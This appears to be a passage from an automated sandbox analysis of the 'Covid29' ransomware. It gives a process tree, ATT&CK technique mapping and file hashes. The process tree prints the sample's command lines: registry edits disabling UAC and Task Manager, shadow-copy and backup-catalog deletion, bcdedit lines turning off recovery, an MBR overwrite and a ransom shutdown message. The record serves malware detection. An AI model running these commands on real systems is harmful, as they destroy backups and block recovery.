- System Location Discovery: System Language Discovery
PID:2960
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A28B.tmp\TrojanRansomCovid29.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:440
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\A28B.tmp\fakeerror.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5004
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2736
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3744
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1592
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3384
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2636
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2080
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:124
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4988
- - C:\Users\Admin\AppData\Local\Temp\A28B.tmp\mbr.exe
    mbr.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    PID:1448
- - C:\Users\Admin\AppData\Local\Temp\A28B.tmp\Cov29Cry.exe
    Cov29Cry.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2300
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      PID:972
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        
        PID:2576
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:2644
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        
        PID:796
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:4108
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4044
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4500
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:1160
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:1320
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
        5⤵
        
        PID:320
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1460
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3488
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:2684
- - C:\Users\Admin\AppData\Local\Temp\A28B.tmp\Cov29LockScreen.exe
    Cov29LockScreen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1360

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:1176

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2564

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:1436

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:308

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Filesize
64KB

MD5
b5ad5caaaee00cb8cf445427975ae66c

SHA1
dcde6527290a326e048f9c3a85280d3fa71e1e22

SHA256
b6409b9d55ce242ff022f7a2d86ae8eff873daabf3a0506031712b8baa6197b8

SHA512
92f7fbbcbbea769b1af6dd7e75577be3eb8bb4a4a6f8a9288d6da4014e1ea309ee649a7b089be09ba27866e175ab6f6a912413256d7e13eaf60f6f30e492ce7f

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\cb00da9ba77862e\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Filesize
1008B

MD5
d222b77a61527f2c177b0869e7babc24

SHA1
3f23acb984307a4aeba41ebbb70439c97ad1f268

SHA256
80dc3ffa698e4ff2e916f97983b5eae79470203e91cb684c5ccd4ff1a465d747

SHA512
d17d836ea77aeaff4cd01f9c7523345167a4a6bc62528aac74acde12679f48079d75d159e9cea2e614da50e83c2dcd92c374c899ea6c4fe8e5513d9bf06c01ff

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
a4cd4da8695d8b8f8aa89e1858afda89

SHA1
908b41b9d150b9de8dd1cb96e3f08dfa9c4a7e11

SHA256
102776f02eb3c1451509e7a128fe86807a93de4e629f0d4bcdaf1891e51f249f

SHA512
38022a715f156df47ce5f19a4f05e5033a93819099cb83312615a0931b46054157864b395fa3ceafab0ea21ea23e3689b827ba1768eabfc826f36eabe8558103

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
d56088dbb891a10ba1598822da42e376

SHA1
1937a6dd7c0b26a4fbba8e3b1d8b389cdafbdc2d

SHA256
8049959c602e36df027aeb8ecb5fc429921b8d276408b0f2623c5a0d62556ac9

SHA512
6e46aa8906fcad639841ce21111977b67b50cb0e8643a1b5263c602b2d2fe51be5f4dc5ec081f2a47e4525d96da1af09aa5aaaa755debce9cb955be1c5a2e47d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
565c6712aaa14ccc6ad4410e740c5ecc

SHA1
628783382d154365dc145d064dd3d76c05115b8e

SHA256
4050bc3eff96e9e9b653ada610ac27a8477d8167377028635b8671f96de5a5be

SHA512
e686679fda71cf64294c246396e98c9e680ea6aa339069ca0bbf43c3b07c18660705949f4168d7a51a396f6219c09873ab7e434eb0c532ab248a1e884ba17961

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
5f9fb304556322f748fcc13f3cd167a1

SHA1
f3b2120712b619f88631655cab95804e8f758ae9

SHA256
5509637103d6e054af9050dbc5276a93a987f4611a6c407c7203e5a973474270

SHA512
b838c18115e1cf07163153e16487d45a3c989625bdbdc9a9bc888473fb3e8261b313161b76a332486c464ccf25c566e952e54e5700b6fb5edb5df1ec3ac30332

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
77cdfd236e8d67ba26c983408872cfcc

SHA1
9bcc36ba498823d40ba9a2e8bc9d3d4f573f5985

SHA256
069796b6f0ff0a7ab27d220afe1339a68554e696e270ac99e3c10fda750a63be

SHA512
868ce7645db63951a5222e37a87c945a5b7b6280f42f6d35a3f9cd7b1b93145041f46c73ab9d8aa32c500a6672c2f1665b2a93a8fb4a8c77c6a6302947d03350

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
d635a0c6082a50f1f04f87998fc644d4

SHA1
fcd41998432e24cb64b76ed7f0a6ab9f85f5c73e

SHA256
47313188845eff9a2ea67f6b51ee072640b05d1378b5382bce9b129ec7da7d47

SHA512
615124d0169efe9ba76c2764c28701f9fa1e79fee26ed780248585d2b3b1242b86a269cae0c90206c38cef8398e83dcda29ec8d76655431879880f48aa7d9a1f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
2334f48b6c0a537b9a522fafc75f993d

SHA1
c5c0b896d0572f73977ef8c20e6b7115dc2bde4b

SHA256
e1a40ccaa28ae559b1fca62b79bbcea053b088d047050312ecef6a38ec71e281

SHA512
78058ffcb77d021376b2abacb86c0f406afcd600d4b9a7407c90a703cbda10bbe7ae9ab29e587a0970997667d57d615a4a76b323f0e7a354d3fb547aab6d9849

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
632f03311458c38ee806078260d21018

SHA1
d01cf4c185818cb7354953be28fbc9c78c58a722

SHA256
5896910dca0c32dc02a88054e3e87a416ff6586df64eafd0f7adf15c31f7619b

SHA512
c7ca857892ec7fe3af9b411654047c7e624e32274723068c374b78894f535cccef85f153bba09ac05c5a5baa537d260994d1d336c07920f4b9451e552e56c4f2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
b05d80579822d092594dcf077ad41817

SHA1
dc039f11ee2a60d9cafec3d70b3f9287dd0b89f6

SHA256
324fed2675a6602d866b608e185d4be666b22d081a4be0b6851d019256038063

SHA512
78a134ab247307cb8826ec7c4a6854dcbc679f108a7cc1dc51d744cc0efabe2949d57a7b1fa825b0ab9220ca283406ddb04ca06bd9b932fcfabf887a07dbc73f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
956e9d4c4a93af1277cac79090c28b2a

SHA1
cc5cecee6ce7754512f4deb8eff7d00bb5ff87f6

SHA256
065edd013ba7bf61730bd89c05f261873ffe91782032f4e3499058a21322a3e6

SHA512
d5745290a8773d548d26e8060e67f13acb7beba6e680ac8bf1d121f7bf2cff997dc0e8af3ddedaf8f55598f2aad1058764ecea00961586f16c2af182f9b1a091

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
cde79ac375ec203a290cd78304cdefc0

SHA1
ccb131a2fd93f3a9f716fc07c7dea3b317e56f42

SHA256
b306368d23a4d18df5d5bf834b61edbc097676c2d9829246f6bda9481107b5bc

SHA512
81528388b7dc82864a4d7fbcb12bec9185a12328d7822e9799a253f6dfdf3fd324cbb5318df5b715d1eeb21922889370792172b7fec526732b8f9ad9829a036d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
eeaeb9b04f56a2a13b1c1598bf476418

SHA1
07074997d945edce6352b2252cf0234027882106

SHA256
7e1cddb6d3c1adbf3d260333fa7a2939e530ae25afe318182797bc3cdc630b9a

SHA512
a6aae40a3815fc7ab017ec5b7ccac2500dd9d5853e078e0cf27530f50e94672697b49291adbd1a19b821c4376ee4d8cd750154e7a48c2381485d60933e5a9991

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
47d5ef9b63318393aa3b986bd1f0de5c

SHA1
aae11b89cf72ad87f5731f45519b3f48efec24fe

SHA256
271961bea9c4c548787aa9c5dbc7b985ec11564db080b69ee01f8e763741fa57

SHA512
ce0ee5a8d0229701a67f057c0b1dd0f814378cbacfd1fb629eada99c35c32d8b10e39f340c2e7b39d5049628a2afba5ef693041c480d966c9898f4f0b16926ed

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
bc7274f7a6a9e1490918ffbca1aacb82

SHA1
0f8be0e7477bca3fd3da1402f3527718ea92cd12

SHA256
6cf6294bff06f70080504f81421ee4490bd387c2885686048340f78a2c4a9bd3

SHA512
1be7357bceb75e25fedeb549c9be711a2f3cf263bc26f6f59d7209127a4ba10eb5f22d5cd5691745ca4cbeb715dcb0c5020c817f559f8eb60ecf243486ee586f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
effa46e70734dffe54d33e36f20dc0b6

SHA1
7a4bda5ef1fb4a723b755e578974e5ac29bdf101

SHA256
4622e12c88175f8addfabb5f42ca6a4cdb455df246c66ea2bc5c340bca46598c

SHA512
1369e653ed67d26788646a22c80f1e1e1ce3e20336409abe49bfd75ff7de1134b51134acb5cf9492c9fcc37af61a83b621c435f0844ad0964f6c22da95b59a8b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
ac65049bd9355f987d54d12e61295fe1

SHA1
1041b4f49916cbc60f053895fef62c342294781f

SHA256
bbd14f52e6529575e6efcb4bdf749553c688576614276be38a97afd6f29e4a46

SHA512
9c40b1a46333e7a3c838dbbae85f02ab8b7237d141a75fe0e4031eed84cc3e0294f47d141617f865a65f8747a221f35fad71e680c57b1a262cbfcc72f8440b43

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
68517822dbbef06db71ef56ef93fe1b9

SHA1
824da75193dd79fe9dbc03699575bf59e8ae6757

SHA256
0160921e3137dc33038fd787a78ac6d603d15306a4aff7f733b25e9875ea8051

SHA512
78897ea15ff44af93883df4fb03a5394327caeb41c86821b3b16c5a1e312e0fbc26defced9c44107bc3fa249759c759fb68eff2937707283e104c3d0ec943c1a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
a782bb16e840dc35e5fbfa543f90361b

SHA1
0118451cea381c815c44f8b10a6345527c54160f

SHA256
6b2296869e545e0c16794b5651ba940a79eae2d43e9e8e3842ea30f1d2843c30

SHA512
012bbddace42175e15d6287f8b606088629a48c9a30dd89a4728894b14423ca3d8efee74f98aeace6b71dc4a3efba92b6892097d2961be5f45501eadc22cd939

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
3c7e9f92a695310189cc69c270c94578

SHA1
4f95a42ff290c9991daa4ed73f34838cc05e9249

SHA256
1e913a32038b2741b47936adfc42a8f53e367897c6ad57b777f1b9bee940f3d5

SHA512
31d53a5196489d2606309371b1ac73d51a375a4abef2a59847cf10cc4b0cd80941b7356d748e22a0bc8b5178d47756ff35a7e9206d551fbe45ff05fe85b7e4e5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
f6c677ac6587fcf48616438bebcbb949

SHA1
8111e7b541acc952b1e4694c0ad141ba692af51e

SHA256
2b360aca1eb17b6eb0ab3461b8268da2cf498636bbae132a817920cab7409a9f

SHA512
911894dbdff41b49ad124771e8d1148ceefae655c611596dbc766d329c40173beadd019ecf6b0e084b64bf686d88b28fe1a953e4b6c1ade9197241dbe2168291

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
4476456dd99fc4f58aaea44cdf000b53

SHA1
5335d72dfbfe53465d247e005c607e4f8ce79862

SHA256
ce07754d62b675b5a107a6192513cb6a249b3d6a193f009d189b958474f99c36

SHA512
c237d494ea3b29da157b37a2fea0e24929dd33a636846a8050757728907e5d1a01d9e7b779ed780f90a061552a6b9af3ce416e685362e91c9e7ae05c1adae586

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
864512a51626b84258059f0d559f1e6e

SHA1
ca68889f2ef60a1d1ae74ccdb18bb59d858800c9

SHA256
a7aec3e99cfead3fdeaad040eef02995ba18852065f56e115f128a7defa5e508

SHA512
0ea8bcd7d20e1a55ef20c45ffae2cdf62bbb1d3382e300b4dee065f50734338d4b4bac0a0917d829f5a08947b428c6f46960ab63e8b991cd80320f6d5e7270bf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
99KB

MD5
9be442654766b332cccae196ddfae2d0

SHA1
95a88efea45a8c13843da96d8a9421a7ad884086

SHA256
414ae8b8fb56ab05ba7251b515fc56f2ed9c219f38c2968812c4d7076442afaf

SHA512
054be76bb04ea881b6d1b2c46488dd3fbf095ba85173cce33d1d2df0d522bb19c4d71c542043cdf4f2ed9c8fd4b92620816bd55a1beaec7944bbc52eaa82b036

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
99KB

MD5
37caea604b383564c1aa99b6bff420ee

SHA1
f78d84ae94ba5b6479ea8a68becfb72b4be97db1

SHA256
5b4fb33aa7de3bbde8b8213ddd7b0921d2d3971392a4524a7263e5dee352afec

SHA512
36a7a6540a017ad3e52e5d011eb8aaa862de87bba735761fc05be0952d4e6a2444c72c936a2cb02414427fc9e4f8cb0ee21c7473372399e04295f1459f3b0668

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
99KB

MD5
7e2a1a61e36f76591f80bcbcbafd4797

SHA1
2312ad8e51d4629ea8f936e5385f7775d6abd264

SHA256
63526e2524cbaf50b348feb85d108810157ecf3f15415ef9a853ddaff2badf4f

SHA512
25cf383416c36d664fa0a378d04230ca5421d62e1fc4ceddcb80f081e738460b405f45eb2e9752ae7f6fc5bfeb96a39aed1c7a7c9a954b8872af9246a714b558

Download Submit
C:\Users\Admin\AppData\Local\Temp\A28B.tmp\Cov29Cry.exe.death

Filesize
103KB

MD5
8bcd083e16af6c15e14520d5a0bd7e6a

SHA1
c4d2f35d1fdb295db887f31bbc9237ac9263d782

SHA256
b4f78ff66dc3f5f8ddd694166e6b596d533830792f9b5f1634d3f5f17d6a884a

SHA512
35999577be0626b50eeab65b493d48af2ab42b699f7241d2780647bf7d72069216d99f5f708337a109e79b9c9229613b8341f44c6d96245fd1f3ac9f05814d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\A28B.tmp\Cov29LockScreen.exe

Filesize
48KB

MD5
f724c6da46dc54e6737db821f9b62d77

SHA1
e35d5587326c61f4d7abd75f2f0fc1251b961977

SHA256
6cde4a9f109ae5473703c4f5962f43024d71d2138cbd889223283e7b71e5911c

SHA512
6f83dd7821828771a9cae34881c611522f6b5a567f5832f9e4b9b4b59bf495f40ad78678bd86cba59d32ea8644b4aa5f052552774fea142b9d6da625b55b6afc

Download Submit
C:\Users\Admin\AppData\Local\Temp\A28B.tmp\TrojanRansomCovid29.bat

Filesize
1KB

MD5
57f0432c8e31d4ff4da7962db27ef4e8

SHA1
d5023b3123c0b7fae683588ac0480cd2731a0c5e

SHA256
b82e64e533789c639d8e193b78e06fc028ea227f55d7568865120be080179afc

SHA512
bc082486503a95f8e2ce7689d31423386a03054c5e8e20e61250ca7b7a701e98489f5932eba4837e05ec935057f18633798a10f6f84573a95fcf086ee7cabcbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\A28B.tmp\fakeerror.vbs

Filesize
144B

MD5
c0437fe3a53e181c5e904f2d13431718

SHA1
44f9547e7259a7fb4fe718e42e499371aa188ab6

SHA256
f2571f03eb9d5ee4dca29a8fec1317ded02973c5dd233d582f56cebe98544f22

SHA512
a6b488fc74dc69fc4227f92a06deb297d19cd54b0e07659f9c9a76ce15d1ef1d8fa4d607acdd03d30d3e2be2a0f59503e27fc95f03f3006e137fa2f92825e7e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\A28B.tmp\mbr.exe.danger

Filesize
1.3MB

MD5
35af6068d91ba1cc6ce21b461f242f94

SHA1
cb054789ff03aa1617a6f5741ad53e4598184ffa

SHA256
9ac99df89c676a55b48de00384506f4c232c75956b1e465f7fe437266002655e

SHA512
136e3066c6e44af30691bcd76d9af304af0edf69f350211cf74d6713c4c952817a551757194b71c3b49ac3f87a6f0aa88fb80eb1e770d0f0dd82b29bfce80169

Download Submit
C:\Users\Admin\Desktop\Covid29 Ransomware\source\Bat To Exe Converter\covid29-is-here.txt

Filesize
861B

MD5
c53dee51c26d1d759667c25918d3ed10

SHA1
da194c2de15b232811ba9d43a46194d9729507f0

SHA256
dd5b3d185ae1809407e7822de4fced945115b48cc33b2950a8da9ebd77a68c52

SHA512
da41cef03f1b5f21a1fca2cfbf1b2b180c261a75d391be3a1ba36e8d4d4aefab8db024391bbee06b99de0cb0b8eb8c89f2a304c27e20c0af171b77db33b2d12c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip

Filesize
1.7MB

MD5
272d3e458250acd2ea839eb24b427ce5

SHA1
fae7194da5c969f2d8220ed9250aa1de7bf56609

SHA256
bbb5c6b4f85c81a323d11d34629776e99ca40e983c5ce0d0a3d540addb1c2fe3

SHA512
d05bb280775515b6eedf717f88d63ed11edbaae01321ec593ecc0725b348e9a0caacf7ebcd2c25a6e0dc79b2cdae127df5aa380b48480332a6f5cd2b32d4e55c

Download Submit
C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier

Filesize
55B

MD5
0f98a5550abe0fb880568b1480c96a1c

SHA1
d2ce9f7057b201d31f79f3aee2225d89f36be07d

SHA256
2dfb5f4b33e4cf8237b732c02b1f2b1192ffe4b83114bcf821f489bbf48c6aa1

SHA512
dbc1150d831950684ab37407defac0177b7583da0fe13ee8f8eeb65e8b05d23b357722246888189b4681b97507a4262ece96a1c458c4427a9a41d8ea8d11a2f6

Download Submit
memory/1448-423-0x0000000000400000-0x00000000004D8000-memory.dmp

Filesize
864KB

Download
memory/2300-424-0x0000000000590000-0x00000000005B0000-memory.dmp

Filesize
128KB

Download
memory/2960-513-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/2960-391-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download
memory/2960-520-0x0000000000400000-0x00000000005D5000-memory.dmp

Filesize
1.8MB

Download